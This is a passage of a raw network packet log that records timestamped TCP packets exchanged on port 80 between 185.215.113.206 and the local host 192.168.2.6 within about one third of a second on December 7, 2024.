Dec 7, 2024 22:40:13.426661968 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.426708937 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.426770926 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.426811934 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.427546024 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.427589893 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.427674055 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.427711010 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.428394079 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.428441048 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.428493023 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.428529978 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.429280043 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.429321051 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.429375887 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.429410934 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.430145979 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.430191994 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.430341005 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.430382013 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.493406057 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.493457079 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.493483067 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.493520975 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.493725061 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.493777037 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.493854046 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.493901968 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.494596958 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.494642973 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.494700909 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.494750023 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.495465994 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.495520115 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.495574951 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.495621920 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.496356964 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.496402025 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.496454954 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.496496916 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.497250080 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.497299910 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.497330904 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.497370005 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.498120070 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.498159885 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.498275995 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.498311043 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.499003887 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.499058962 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.499098063 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.499135971 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.499842882 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.499882936 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.499937057 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.499973059 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.500713110 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.500755072 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.500818968 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.500855923 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.557460070 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.557574034 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.557678938 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.557723999 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.557848930 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.557895899 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.557935953 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.557980061 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.558584929 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.558634043 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.558666945 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.558716059 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.559453964 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.559503078 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.559658051 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.559698105 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.560318947 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.560362101 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.560429096 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.560467958 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.561184883 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.561239004 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.561306000 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.561352015 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.562053919 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.562105894 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.562175989 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.562222958 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.562912941 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.562973022 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.563024998 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.563072920 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.563800097 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.563849926 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.563922882 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.563971043 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.564661980 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.564711094 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.564764977 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.564812899 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.565527916 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.565581083 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.565666914 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.565709114 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.566406965 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.566469908 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.566548109 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.566592932 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.567306995 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.567351103 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.567408085 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.567445040 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.568191051 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.568248987 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.568269014 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.568315983 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.569056034 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.569109917 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.569139957 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.569180012 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.569961071 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.570017099 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.570036888 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.570082903 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.570786953 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.570832968 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.570863008 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.570899963 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.571649075 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.571697950 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.571770906 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.571815968 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.572540998 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.572590113 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.572664022 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.572710991 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.573405027 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.573463917 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.573534012 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.573580980 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.574280977 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.574328899 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.574414015 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.574456930 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.575169086 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.575211048 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.575234890 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.575273037 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.576009035 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.576064110 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.576102018 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.576141119 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.576900005 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.576947927 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.576987028 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.577025890 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.577735901 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.577779055 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.577900887 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.577938080 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.578592062 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.578638077 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.578717947 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.578754902 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.579461098 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.579509974 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.579560995 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.579601049 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.580566883 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.580632925 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.580771923 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.580817938 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.581409931 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.581455946 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.581475973 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.581515074 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.582091093 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.582140923 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.582178116 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.582214117 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.582942963 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.582994938 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.583081007 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.583123922 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.583867073 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.583925962 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.583997011 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.584043026 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.584692001 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.584736109 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.584819078 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.584877014 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.585563898 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.585614920 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.585638046 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.585678101 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.614851952 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.614917994 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.614953995 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.614975929 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.615119934 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.615158081 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.615196943 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.615230083 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.615957975 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.616012096 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.616071939 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.616107941 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.616883993 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.616933107 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.617011070 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.617047071 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.617727995 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.617774010 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.617827892 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.617867947 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.618566990 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.618614912 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.618674040 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.618716002 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.619442940 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.619488001 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.619607925 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.619652033 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.620318890 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.620358944 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.620481014 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.620527983 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.621259928 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.621310949 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.621321917 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.621361017 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.622154951 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.622196913 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.622239113 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.622279882 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.622944117 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.622992992 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.685379982 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.685441971 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.685472012 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.685513020 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.685815096 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.685856104 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.686000109 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.686042070 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.686063051 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.686105013 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.686839104 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.686877966 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.686960936 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.687000990 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.687726021 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.687769890 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.687953949 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.687997103 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.688600063 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.688647032 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.688684940 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.688724995 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.689544916 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.689589977 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.689662933 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.689702034 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.690404892 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.690448046 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.690526962 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.690570116 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.691216946 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.691266060 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.691287041 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.691329002 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.692060947 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.692114115 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.692177057 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.692224979 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.692928076 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.692972898 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.693011999 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.693053961 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.749629974 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.749727964 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.749728918 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.749779940 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.750149012 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.750168085 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.750197887 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.750222921 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.750901937 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.750961065 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.751038074 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.751091003 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.751801014 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.751856089 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.751889944 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.751934052 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.752646923 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.752705097 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.752732038 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.752769947 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.753525019 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.753580093 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.753612995 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.753655910 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.754384995 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.754427910 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.754482985 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.754528046 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.755245924 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.755283117 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.755341053 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.755382061 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.756140947 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.756186962 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.756246090 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.756293058 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.757002115 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.757042885 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.757117987 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.757169008 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.757893085 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.757941961 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.757997990 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.758043051 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.758752108 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.758802891 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.758872986 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.758917093 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.759614944 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.759664059 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.759716034 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.759757996 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.760493994 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.760541916 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.760571003 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.760616064 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.761356115 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.761400938 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.761482000 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.761522055 CET	49707	80	192.168.2.6	185.215.113.206
